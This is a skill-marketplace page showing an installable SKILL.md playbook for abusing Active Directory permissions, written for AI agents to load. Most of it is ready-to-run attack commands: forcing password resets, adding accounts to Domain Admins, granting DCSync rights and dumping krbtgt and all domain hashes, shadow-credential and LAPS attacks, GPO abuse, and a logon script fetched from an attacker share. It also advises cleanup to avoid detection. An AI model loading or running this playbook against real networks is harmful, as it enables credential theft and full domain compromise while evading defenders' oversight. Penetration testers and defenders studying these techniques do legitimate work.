菜单
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/yaklang/hack-skills --skill active-directory-acl-abuse命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | active-directory-acl-abuse |
| description | Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths. |
AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
Before going deep, consider loading:
Also load BLOODHOUND_PATHS.md when you need:
# SharpHound (from Windows, domain-joined)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
# bloodhound-python (from Linux)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
SharpHound.exe -c DCOnly
SharpHound.exe -c Session
SharpHound.exe -c All,GPOLocalGroup
| ACE | Effect on Users | Effect on Groups | Effect on Computers |
|---|---|---|---|
| GenericAll | Change password, set SPN, modify attributes | Add members | RBCD, LAPS read, all attributes |
| GenericWrite | Set SPN, modify attributes, shadow creds | Add members | RBCD, shadow credentials |
| WriteDACL | Grant yourself any permission | Same | Same |
| WriteOwner | Take ownership → then WriteDACL | Same | Same |
| ForceChangePassword | Reset password without knowing old | N/A | N/A |
| AddMember | N/A | Add self/others to group | N/A |
| AllExtendedRights | Force change password, read LAPS | N/A | Read LAPS, BitLocker keys |
| ReadLAPSPassword | N/A | N/A | Read local admin password |
| WriteSPN | Set SPN → targeted kerberoast | N/A | N/A |
# Option 1: Force change password
net user targetuser NewP@ss123 /domain
# Option 2: Targeted Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast, then clear SPN
# Option 3: Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# Option 4: Set logon script
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
# RBCD attack
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
# Shadow Credentials on computer
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
# Grant DCSync rights to yourself
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
# Step 1: Take ownership
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
# Step 2: Grant WriteDACL to yourself (as owner)
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
# Step 3: Now exploit as GenericAll
# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
# Add self to privileged group
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
The principal needs both of these replication rights on the domain object:
DS-Replication-Get-Changes (GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)# Impacket — dump all hashes
secretsdump.py DOMAIN/user:password@DC01 -just-dc
# Specific account only
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv
# Impacket with Kerberos auth
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
BUILTIN\Administrators (on domain object)Write msDS-KeyCredentialLink on target → generate certificate → authenticate via PKINIT.
# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# Output: DeviceID and PFX file
# Authenticate with certificate
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache
# Extract NT hash from TGT (for pass-the-hash)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → Provides Rubeus command to get TGT
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
Cleanup: Remove the added key credential to avoid detection.
# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# AD Module
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText
# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps
# PowerView — find GPOs where you have write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
($_.SecurityIdentifier -match 'YOUR_SID')
}
# Add local admin via GPO
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
# Add scheduled task via GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# Add startup script
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
Have domain user access — want to escalate via ACL
│
├── Run BloodHound → analyze shortest paths to DA
│ └── Upload data → "Shortest Paths to Domain Admins from Owned Principals"
│
├── Direct ACL on user object?
│ ├── GenericAll → force password change, shadow creds, or targeted kerberoast (§3)
│ ├── GenericWrite → shadow credentials or set SPN (§3/§5)
│ ├── ForceChangePassword → reset password directly (§3)
│ ├── WriteDACL → grant yourself GenericAll, then exploit (§3)
│ └── WriteOwner → take ownership → WriteDACL → GenericAll (§3)
│
├── ACL on group?
│ ├── AddMember / GenericAll → add self to privileged group (§3)
│ └── WriteDACL → grant AddMember, then add self
│
├── ACL on computer object?
│ ├── GenericAll/GenericWrite → RBCD attack (§3)
│ ├── AllExtendedRights → read LAPS password (§6)
│ └── GenericWrite → shadow credentials on machine (§5)
│
├── ACL on domain object?
│ ├── WriteDACL → grant DCSync rights to self (§4)
│ └── Replication rights already? → DCSync directly (§4)
│
├── ACL on GPO linked to privileged OU?
│ └── Write access → add admin / scheduled task via GPO (§7)
│
└── Complex multi-hop chain?
└── Load BLOODHOUND_PATHS.md for Cypher queries and chain analysis